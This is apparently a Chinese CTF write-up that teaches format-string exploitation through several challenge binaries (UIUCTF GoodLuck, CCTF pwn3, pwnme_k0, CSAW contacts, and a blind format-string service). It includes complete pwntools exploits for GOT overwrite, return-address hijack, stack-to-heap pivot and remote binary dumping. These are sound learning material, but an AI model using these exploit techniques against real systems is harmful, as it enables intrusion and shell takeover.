0%

PWN入门之格式化字符串题目

背景

上一篇主要是学习格式化字符串的原理,接下来就是实际的题目了。

题目

2017 UIUCTF pwn200 GoodLuck

看保护

还是先用checksec查看当前题目详情:

img

可以看到这里是64bit文件,开启了NX和部分RELRO

看逻辑

使用ida 64位打开这个文件,看到main函数中的伪代码,主要部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v12 = *MK_FP(__FS__, 40LL);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v11[i] = _IO_getc(fp);
fclose(fp);
v10 = v11;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v5 = format[j];
if ( !v5 || v11[j] != v5 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
result = 0;
goto LABEL_11;
}
}

程序会读取flag.txt到变量v11再赋值给v10,然后接受输入到format,进到for循环打印出来,然后程序就结束了,按照正常逻辑是不能打印出flag中的内容,所以就需要使用到格式化字符串的任意读技巧。

算偏移

按照之前的逻辑,还是先确定flag所在的参数位置偏移,这里是64bit程序,我们之前学习的都是32bit程序的情况,这里可以使用gdb来看看区别,所以直接输入多个%p来确定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7ed7904 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7fa8580 → 0x0000000000000000
$rsp : 0x00007fffffffdf68 → 0x0000000000400890 → <main+234> mov edi, 0x4009b8
$rbp : 0x00007fffffffdfb0 → 0x0000000000400900 → <__libc_csu_init+0> push r15
$rsi : 0x0000000000602490 → "You answered:\ng\n111111}"
$rdi : 0x0000000000602cb0 → "%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
$rip : 0x00007ffff7e40b40 → <printf+0> sub rsp, 0xd8
$r8 : 0xe
$r9 : 0x0000000000602cf0 → 0x0000000000000000
$r10 : 0x000000000040041d → 0x730066746e697270 ("printf"?)
$r11 : 0x00007ffff7e40b40 → <printf+0> sub rsp, 0xd8
$r12 : 0x00000000004006b0 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe090 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf68│+0x0000: 0x0000000000400890 → <main+234> mov edi, 0x4009b8 ← $rsp
0x00007fffffffdf70│+0x0008: 0x0000000025000001
0x00007fffffffdf78│+0x0010: 0x0000000000602cb0 → "%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
0x00007fffffffdf80│+0x0018: 0x0000000000602260 → 0x0000000000000000
0x00007fffffffdf88│+0x0020: 0x00007fffffffdf90 → "flag{11111111111111111"
0x00007fffffffdf90│+0x0028: "flag{11111111111111111"
0x00007fffffffdf98│+0x0030: "11111111111111"
0x00007fffffffdfa0│+0x0038: 0x0000313131313131 ("111111"?)

gef➤ c
Continuing.
0x602490.0x7ffff7fa8580.0x7ffff7ed7904.0xe.0x602cf0.0x25000001.0x602cb0.0x602260.0x7fffffffdf90.0x3131317b67616c66.0x3131313131313131.0x313131313131.0x768c8205d71b8d00.0x400900.0x7ffff7e12bbb.(nil).0x7fffffffe098
But that was totally wrong lol get rekt
[Inferior 1 (process 36071) exited normally]

可以看到前5个输出参数的值依次是来自寄存器 RSIRDXRCXR8R9 (这里使用的寄存器应该是6个,但是寄存器 RDI 是被用于传递格式字符串了 ),然后再是栈上的参数(栈上第一个是返回地址)。

利用

我们可以数一下,可以算出flag所在的参数是第9个,所以在运行时输入%9$s 即可

1
2
3
4
5
6
7
8
gef➤  r
Starting program: /root/ctf/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck/goodluck
what's the flag
%9$s
You answered:
flag{11111111111111111
But that was totally wrong lol get rekt
[Inferior 1 (process 36349) exited normally]

2016-CCTF-pwn3

看保护

先checksec查看当前题目的保护措施:

1578298262232

跟上面一样,还少了canary

看逻辑

放到ida32位看看程序逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax@2
int v4; // [sp+14h] [bp-2Ch]@1
signed int v5; // [sp+3Ch] [bp-4h]@2

setbuf(stdout, 0);
ask_username((char *)&v4);
ask_password((char *)&v4);
while ( 1 )
{
while ( 1 )
{
print_prompt();
v3 = get_command();
v5 = v3;
if ( v3 != 2 )
break;
put_file();
}
if ( v3 == 3 )
{
show_dir();
}
else
{
if ( v3 != 1 )
exit(1);
get_file();
}
}
}

程序运行会先让输入账号密码,密码正确才会进入到后面的逻辑。 四个主要函数get_command, put_file, show_dir, get_file,功能分别为输入指令,选择后面三个函数;保存一个文件,名称与内容为输入内容;输出我们输入的文件名,顺序为先进后出;根据文件名显示文件内容。那么该如何利用呢?

首先我们先找存在的问题,这里因为接受输入时全部采用了__isoc99_scanf并限制了长度,所以不存在栈溢出的问题,再找格式化字符串的漏洞,在get_file函数中看到了printf,这里是在读取开始写入文件的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int get_file()
{
char dest; // [sp+1Ch] [bp-FCh]@5
char s1; // [sp+E4h] [bp-34h]@1
char *i; // [sp+10Ch] [bp-Ch]@3

printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 0x28);
return printf(&dest);
}
}
return printf(&dest);
}

那么如果一开始写入的时候就传入特点的占位符就可以在get_file函数处触发格式化字符串漏洞,也就可以读取和写入数据了。 那么如何获取shell呢?这里就需要对程序的GOT表进行修改,将A函数的位置替换为system的地址,那么程序在执行A函数也就变成了执行system了,再传入 bin/sh 不就拿到shell了?

道理已经懂了,接下来就是结合实际程序查找适合的函数了。首先这个函数的参数要可以控制,其次我们可以控制程序在修改完GOT表之后再执行该函数,最后这个函数的改变不会影响整体的运行逻辑。这个函数就是show_dir中的puts。具体细节再一步步的探索,先从确定偏移开始。

计算密码

用户名在输入的时候会每一位加1,密码校验时会把输入和 sysbdmin 进行比较,相同的才会继续运行,所以需要反向计算输入值应该是多少,脚本如下:

1
2
3
4
5
6
pwd = 'sysbdmin'
new_pwd = ''
for i in pwd:
new = chr(ord(i)-1)
new_pwd += new
print new_pwd

最后计算出输入值应该是 rxraclhm 。

算偏移

密码绕过之后我们就需要用到之前的知识来计算偏移量,输入aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p ,程序的输出如下:

1578377177224

可以看到此时0x6161616161的偏移为7

计算system、puts地址

结合前面讲到泄露任意地址内存的知识点,就可以在这里选一个函数来泄露libc地址,还是先看看ELF里面函数偏移量地址会不会出现之前问题

1578377769105

可以看到这里除了setbuf和之前的例子一样有0c会导致输出错乱,我们在这里直接选puts(0x0804a028) 这里为了确保可用,我重新把puts的偏移放到之前的程序进行测试发现确实可以正确回显出来,接下来就是利用pwntools来泄露puts的地址, 通过它来计算出system地址

puts变system

接下来就是要用格式化字符串的任意写把 0x0804a028(puts的GOT函数地址) 的内容改成system的地址。有了system之外我们还得传 /bin/sh参数给假puts(因为这个时候的puts其实已经被写成了system的地址了),在dir函数中假puts的参数是文件名,这里输入2个实例来看看文件名输出的样子:

1578452565956

可以看到文件名的输出有一种“栈”的效果,所以 /bin/sh 应该被依次拆分传入: /sh、/bin,最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import sys
context.log_level = 'debug'

def put_file(name,text):
#sh.recvuntil('>')
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil('then, enter the content:')
sh.sendline(text)

def get_file(name):
#sh.recvuntil('>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline(name)

sh = process('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc
libc_puts= elf.got['puts']
payload = p32(libc_puts) + '%7$s'

# compute new password
pwd = 'sysbdmin'
new_pwd = ''
for i in pwd:
new = chr(ord(i)-1)
new_pwd += new
print new_pwd
sh.sendline(new_pwd)

filename1 = '/sh'
filename2 = '/bin'
put_file(filename1,payload)
get_file(filename1)
recv = sh.recv()
puts_address = u32(recv[4:8])

libc.address = puts_address - libc.symbols['puts']
system_addr = libc.symbols['system']

payload = fmtstr_payload(7, {libc_puts: system_addr})
put_file(filename2,payload)
get_file(filename2)

sh.sendline('dir')
sh.interactive()

三个白帽-pwnme_k0

看保护

首先还是checksec查看一下文件位数和保护信息

1578462411590

可以看到开着NX和FULL RELRO,FULL RELRO也就意味着不能像上面一样再去改变GOT表的地址了。

看逻辑

把程序放到gdb跑了一下,发现有一个类似于注册的功能,可以设置用户名、密码,可以展示和修改。再用ida 64bit查看一下伪代码看看有什么漏洞。这里的代码命名有点混淆的感觉,最后在这里发现了一个格式化字符串漏洞:

1
2
3
4
5
6
int __usercall sub_400B07@<eax>(char format@<dil>, char formata, __int64 a3, char a4)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&formata, "Welc0me to sangebaimao!\n");
return printf(&a4 + 4);
}

找到漏洞的话该怎么利用呢?我们可以在程序中找到函数 system和字符串 /bin/sh ,并且进一步查找可以找到有一个直接call system,还带上了参数。

1578484905156

因此这里也就不需要我们再写入了,我们要做的就是让程序逻辑跳转到call system ,怎么做呢? 改返回地址。

算偏移

要想改返回地址就得先看看我们的偏移参数的位置,在printf下断点,username为123,password为456:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7ed7904 (write+20) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x1a
RDI 0x7fffffffdee0 ◂— 0xa333231 /* '123\n' */
RSI 0x4010c3 ◂— push rdi /* 'Welc0me to sangebaimao!\n' */
R8 0x1999999999999999
R9 0x0
R10 0x7ffff7f59ac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x246
R12 0x4007b0 ◂— xor ebp, ebp
R13 0x7fffffffe0a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffded0 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdfc0 —▸ 0x400eb0 ◂— push r15
RSP 0x7fffffffdec8 —▸ 0x400b2d ◂— lea rax, [rbp + 0x24]
RIP 0x7ffff7e40b40 (printf) ◂— sub rsp, 0xd8
──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdec8 —▸ 0x400b2d ◂— lea rax, [rbp + 0x24]
01:0008│ rbp 0x7fffffffded0 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdfc0 —▸ 0x400eb0 ◂— push r15
02:0010│ 0x7fffffffded8 —▸ 0x400d74 ◂— add rsp, 0x30
03:0018│ rdi 0x7fffffffdee0 ◂— 0xa333231 /* '123\n' */
04:0020│ 0x7fffffffdee8 ◂— 0x0
05:0028│ 0x7fffffffdef0 ◂— 0xa36353400000000
06:0030│ 0x7fffffffdef8 ◂— 0x0

这里以第一次断点输出username为例分析,123 在栈上的偏移是3,加上5个寄存器的数量,偏移就是8。

利用思路

我们前面已经分析到需要修改返回地址到call system。我们改哪个返回地址呢?继续看上面堆栈的结构,第1个偏移是rbp寄存器的值,按照堆栈增长的方向来看,这个rbp是前一个主调函数的rbp,第2个偏移0x7fffffffded8就应该是返回地址0x400d74 (先保存主调函数的状态再进入调用函数)。因为程序运行时栈位置是会变化的,但是其相对于rbp的偏移是固定的,所以我们需要利用rbp来动态获取返回地址。先算出偏移量:0x7fffffffdf10-0x7fffffffded8=0x38 然后脚本中读取rbp的位置再减去0x38即为返回地址,最后我们再把call system 的地址 0x4008A6 写到返回地址即可。最后再分析整个返回函数的地址发现基本都是0x400xxx,跟0x4008A6 只是最后3位不同,因此可以利用 $hn 只对后三位修改即可,0x8A6对应的10进制数字即为2214,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level = 'debug'
sh = process('./pwnme_k0')
gdb.attach(sh)
sh.recvuntil('Input your username(max lenth:20):')
sh.sendline('%6$p')
sh.recvuntil('Input your password(max lenth:20):')
sh.sendline('2\n')

sh.recvuntil('>')
sh.sendline('1')
ret_addr = int(sh.recvline().strip(),16) - 0x38

sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('please input new username(max lenth:20):')
sh.sendline(p64(ret_addr))
sh.recvuntil('please input new password(max lenth:20):')
sh.sendline("%2214d%8$hn")

sh.recvuntil('>')
sh.sendline('1')
sh.recv()
sh.interactive()

这里我们后面修改ret_addr时是利用了usernamepassword,两次分开传入所以不需要考虑地址占传入位数的关系,直接覆盖写入原来的0x8A6即可。

2015-CSAW-contacts

看保护

用checksec可以看到当前程序开启的保护有NX和Canary,RELRO开启了部分,修改GOT表的可能会是一个思路:

1578905053319

看逻辑

还是先用gdb跑了一下程序,发现是一个类似于通讯录的程序,可以新增、删除、修改、展示通讯录内容,具体的程序细节还是用ida进行分析,在ida下查看发现PrintInfo函数存在格式化字符串漏洞:

1578988347734

最后一个printf会打印出Description的内容,并且我们往回看发现存放Description的区域是用过malloc进行声明的,那也就是说存放的位置是在堆上那么我们可以怎么做呢?我们可以利用leave和ret把栈迁移到堆上去。

先回顾一下leave和ret指令的细节:

1
2
3
4
5
6
7
leave 指令会执行2个操作:
mov esp,ebp
pop ebp // 出栈
//执行完leave的pop之后,esp的值也就按排序加了一个位置,这里是32bit程序也就是4位。而根据函数调用约定,调用函数时其ebp上面存放的是函数的返回地址,因此pop操作之后,esp指向了存放函数返回地址的位置
ret 指令对应1个操作:
pop eip
//从栈顶取出指令给eip进行执行

这里我们通过 leave 指令来进行栈迁移,所以在迁移之前我们需要修改程序保存 ebp 的值为我们想要的值。 只有这样在执行 leave 指令的时候, esp 才会成为我们想要的值。同时,因为我们是使用格式化字符串来进行修改,所以我们得知道 ebp 的地址为多少,而这时 PrintInfo 函数中存储 ebp 的地址每次都在变化,而我们也无法通过其他方法得知。但是,函数调用时入栈中的 ebp 值其实保存的是上一个函数(caller)的 ebp 值的地址,所以我们可以修改PrintInfo 上层的 PrintContact 保存的ebp,而这个ebp其实是 PrintContact 上层 main 的ebp。修改了main的ebp之后,只需要在选择时输入5即可触发跳转。

梳理思路

因此整个思路如下:

  • 首先获取 system 函数的地址
    • 通过泄露某个 libc 函数的地址根据 libc database 确定。
  • 构造基本联系人描述为 system_addr + ‘bbbb’ + binsh_addr
  • 修改上层函数保存的 ebp(即上上层函数的 ebp) 为存储 system_addr 的地址 -4
  • 当主程序返回时,会有如下操作
    • mov esp,ebp,将 esp 指向 system_addr 的地址 - 4
    • pop ebp, 将 esp 指向 system_addr
    • ret,将 eip 指向 system_addr,从而获取 shell。
泄露地址

把断点下在有漏洞的printf处,运行到此处时查看此时栈的状态:
1578992050484

可以看到偏移为 6 处为ebp的位置,偏移为 11 处为我们输入的Description,偏移 31 处为 libc_start_main_ret 的地址。我们这里泄露版本首先就需要偏移 31 处的信息。具体用法跟前面的例子一样,唯一不同的就是这里我们还得从libc里面获取 /bin/sh 的信息,这就需要用到 libc.search('/bin/sh\x00') 进行查找。

往堆上写地址

经过上面的地址计算已经获取到了system/bin/sh 的地址了,接下来就需要把地址写到堆上,payload的形式是:"%11$p " + p32(system_addr) + "AAAA" + p32(binsh_addr) 注意这里我在第一个位置多了一个空格,是为了后面分割收到的字符串更方便而加的,因此地址前面的多余位数的 len("%11$p ")=6 ,发送之后就可以回显出堆的内存地址并且向堆上写入该 payload 。接下来就是将esp的位置改到堆上,实现堆上运行。

栈到堆

在前面看栈的结构内容就可以发现第6位为esp,我们需要利用格式化字符串的写功能来讲esp的内容改为上面回显的堆地址,payload%(heap_addr - 4 + 6)d$n 为什么要减4加6呢?我们这里把esp转移到栈上的目的是通过leaveret进行,而leaveret所包含的指令在前面梳理思路有讲解,回看。加6是因为我们前面打印堆地址和空格放在了system函数地址的前面,而堆的增长方向是由低到高,所以地址直接加6就是system的地址了。最后再发送一个5,让程序结束运行,这个时候因为esp被修改程序的逻辑也就被控制了,具体exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
#context.log_level = 'debug'
sh = process('./contacts')
elf = ELF('./contacts')
libc = elf.libc

def createcontact(name, phone, descrip_len, description):
sh.sendline('1')
sh.recvuntil('Contact info: \n')
sh.recvuntil('Name: ')
sh.sendline(name)
sh.recvuntil('You have 10 numbers\n')
sh.sendline(phone)
sh.recvuntil('Length of description: ')
sh.sendline(descrip_len)
sh.recvuntil('description:\n\t\t')
sh.sendline(description)

def printcontact():
sh.recvuntil('>>> ')
sh.sendline('4')

# leak libc version
payload = "%31$p"
createcontact('1','1',"20",payload)
printcontact()
ret_msg = sh.recv().split('\n')[4]
libc_main_ret = int(ret_msg.split(' ')[1],16)
# define the address of libc by a known function
libc.address = libc_main_ret -241 - libc.symbols['__libc_start_main']
# symbols to leak function address
system_addr = libc.symbols['system']
# search to leak string address
binsh_addr = next(libc.search('/bin/sh\x00'))

# write system and bin/sh to heap
# to split the string, I use a space in input,so befor the system the length is 6
payload = "%11$p " + p32(system_addr) + "AAAA" + p32(binsh_addr)
createcontact('2','2',"100",payload)
printcontact()
ret_addr = sh.recv().split('\n')[8]
heap_addr = int(ret_addr.split(' ')[1],16)+6 # plus the length befor system

# modify esp,to return to heap
payload = '%'+str(heap_addr -4 ) + "x%6$n"
createcontact('3','3',"1000",payload)
printcontact()

sh.sendline('5')
sh.interactive()

这里因为是直接写入一个很大的数字到esp,运行时可能会出现崩溃的情况,但是在成功运行的情况下都是可以成功的。

后记

这里在网上还看到大佬用的重写GOTmemset地址的方法进行getshell,放个链接有时间在研究吧: http://barrebas.github.io/blog/2015/09/22/csaw-2015-pwn250/

格式化字符串盲打

所谓格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们进行 pwn,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是格式化字符串漏洞。一般来说,我们按照如下步骤进行

  • 确定偏移
  • 利用(得根据具体情况去分析了)

这里因为没有远程环境,所以直接用现成的程序,但是不用checksecida这些工具进行辅助分析。

栈信息泄露

直接运行该程序:

1579244760452

我们的输入会直接显示出来,并且会有一个提示说flag是在栈上,试试输入%p

1579245239545

从输出的栈地址位数来看,这个程序是64bit的,接下来可以一个个的去遍历,依次查看寄存器或者堆栈上存储的信息是否有我们想要的内容。这里还有个点就是我们从堆栈上读取的内容全部都是16进制的内容,即使有字符串直接看也是看不出究竟的,所以还需要使用 p64 将回显的 16 进制转换为字符串(寄存器的存储是小端字节序的,自己写转换函数可能会出现字符串反转的情况)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import time
context.log_level = 'error'

def leak(payload):
sh = process('./blind')
sh.sendline(payload)
data = sh.recvuntil('\n', drop=True)
if data.startswith('0x'):
print 'data: ',data,' ; ',p64(int(data, 16))
sh.close()

i = 1
while 1:
payload = '%{}$p'.format(i)
time.sleep(1)
print i
leak(payload)
i += 1

最后可以看到在 i 等于70的时候依次输出flag的值。

盲打劫持GOT

还是一样,无法借助额外的工具对程序进行分析,并且回显无任何提示,这里就需要泄露一波源程序 。

确定偏移

还是运行程序跑一下,输入 aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p ,从回显结构可以看出程序是64bit,所以需要在前面再加4个a:

1579253095587

可以看到我们字符串的偏移量是6

泄露程序

上面我们已经得到了偏移量和程序位数,由于程序是64bit,那么我们泄露的起始地址就该是0x400000。泄露源程序的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
##coding=utf8
from pwn import *

##context.log_level = 'debug'
ip = "127.0.0.1"
port = 9999


def leak(addr):
# leak addr for three times
num = 0
while num < 3:
try:
print 'leak addr: ' + hex(addr)
sh = remote(ip, port)
payload = '%00008$s' + 'STARTEND' + p64(addr)
# 说明有\n,出现新的一行
if '\x0a' in payload:
return None
sh.sendline(payload)
data = sh.recvuntil('STARTEND', drop=True)
sh.close()
return data
except Exception:
num += 1
continue
return None

def getbinary():
addr = 0x400000
f = open('binary', 'w')
while addr < 0x401000:
data = leak(addr)
if data is None:
f.write('\xff')
addr += 1
elif len(data) == 0:
f.write('\x00')
addr += 1
else:
f.write(data)
addr += len(data)
f.close()
getbinary()